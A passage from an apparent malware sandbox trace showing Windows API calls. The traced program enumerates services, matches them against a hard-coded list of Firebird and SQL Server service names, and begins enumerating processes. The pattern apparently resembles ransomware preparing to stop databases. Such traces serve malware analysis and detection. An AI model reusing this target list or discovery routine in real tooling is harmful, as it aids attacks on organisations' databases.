(lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0235.703] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0235.703] GetLastError () returned 0xea [0235.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x41c14c0 [0235.704] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41c14c0, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41c14c0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0235.705] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0235.705] lstrlenW (lpString="Appinfo") returned 7 [0235.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0235.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0235.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0235.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0235.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0235.705] lstrlenW (lpString="AppXSvc") returned 7 [0235.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0235.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0235.705] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0235.705] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0235.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0235.705] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0235.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0235.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0235.705] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0235.705] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0235.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0235.705] lstrlenW (lpString="Audiosrv") returned 8 [0235.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0235.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0235.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0235.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0235.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0235.705] lstrlenW (lpString="BFE") returned 3 [0235.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0235.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0235.705] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0235.706] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0235.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0235.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0235.706] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0235.706] lstrlenW (lpString="CDPSvc") returned 6 [0235.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0235.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0235.706] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0235.706] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0235.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0235.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0235.706] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0235.706] lstrlenW (lpString="CryptSvc") returned 8 [0235.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0235.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0235.706] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0235.706] lstrlenW (lpString="DcomLaunch") returned 10 [0235.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0235.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0235.706] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0235.706] lstrlenW (lpString="DeviceAssociationService") returned 24 [0235.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0235.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0235.706] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0235.706] lstrlenW (lpString="Dhcp") returned 4 [0235.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0235.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0235.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0235.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0235.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0235.707] lstrlenW (lpString="Dnscache") returned 8 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0235.707] lstrlenW (lpString="DPS") returned 3 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0235.707] lstrlenW (lpString="DusmSvc") returned 7 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0235.707] lstrlenW (lpString="EventLog") returned 8 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0235.707] lstrlenW (lpString="EventSystem") returned 11 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0235.707] lstrlenW (lpString="FontCache") returned 9 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0235.707] lstrlenW (lpString="gpsvc") returned 5 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0235.707] lstrlenW (lpString="iphlpsvc") returned 8 [0235.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0235.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0235.707] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0235.707] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0235.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0235.708] lstrlenW (lpString="KeyIso") returned 6 [0235.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0235.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0235.708] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0235.708] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0235.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0235.708] lstrlenW (lpString="LanmanServer") returned 12 [0235.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0235.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0235.708] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0235.708] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0235.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0235.708] lstrlenW (lpString="LanmanWorkstation") returned 17 [0235.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0235.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0235.708] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0235.708] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0235.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0235.708] lstrlenW (lpString="lfsvc") returned 5 [0235.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0235.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0235.708] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0235.708] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0235.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0235.708] lstrlenW (lpString="lmhosts") returned 7 [0235.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0235.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0235.708] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0235.708] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0235.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0235.708] lstrlenW (lpString="LSM") returned 3 [0235.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0235.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0235.708] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0235.708] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0235.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0235.708] lstrlenW (lpString="MpsSvc") returned 6 [0235.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0235.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0235.708] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0235.708] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0235.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0235.708] lstrlenW (lpString="NcbService") returned 10 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0235.709] lstrlenW (lpString="netprofm") returned 8 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0235.709] lstrlenW (lpString="NgcSvc") returned 6 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0235.709] lstrlenW (lpString="NlaSvc") returned 6 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0235.709] lstrlenW (lpString="nsi") returned 3 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0235.709] lstrlenW (lpString="PcaSvc") returned 6 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0235.709] lstrlenW (lpString="PlugPlay") returned 8 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0235.709] lstrlenW (lpString="Power") returned 5 [0235.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0235.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0235.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0235.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0235.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0235.709] lstrlenW (lpString="ProfSvc") returned 7 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0235.710] lstrlenW (lpString="RpcEptMapper") returned 12 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0235.710] lstrlenW (lpString="RpcSs") returned 5 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0235.710] lstrlenW (lpString="SamSs") returned 5 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0235.710] lstrlenW (lpString="Schedule") returned 8 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0235.710] lstrlenW (lpString="SecurityHealthService") returned 21 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0235.710] lstrlenW (lpString="SENS") returned 4 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0235.710] lstrlenW (lpString="ShellHWDetection") returned 16 [0235.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0235.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0235.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0235.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0235.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0235.710] lstrlenW (lpString="Spooler") returned 7 [0235.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0235.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0235.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0235.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0235.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0235.711] lstrlenW (lpString="StateRepository") returned 15 [0235.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0235.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0235.711] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0235.711] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0235.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0235.996] lstrlenW (lpString="SysMain") returned 7 [0235.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0235.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0235.996] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0235.996] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0235.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0235.996] lstrlenW (lpString="SystemEventsBroker") returned 18 [0235.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0235.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0235.996] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0235.996] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0235.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0235.996] lstrlenW (lpString="Themes") returned 6 [0235.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0235.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0235.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0235.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0235.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0235.996] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0235.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0235.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0235.996] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0235.996] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0235.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0235.996] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0235.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0235.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0235.997] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0235.997] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0235.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41c14c0 | out: hHeap=0x4f0000) returned 1 [0236.047] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548 [0236.049] Process32FirstW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.050] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.050] lstrlenW (lpString="System") returned 6 [0236.050] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.050] lstrlenW (lpString="smss.exe") returned 8 [0236.050] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.051] lstrlenW (lpString="csrss.exe") returned 9 [0236.051] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, 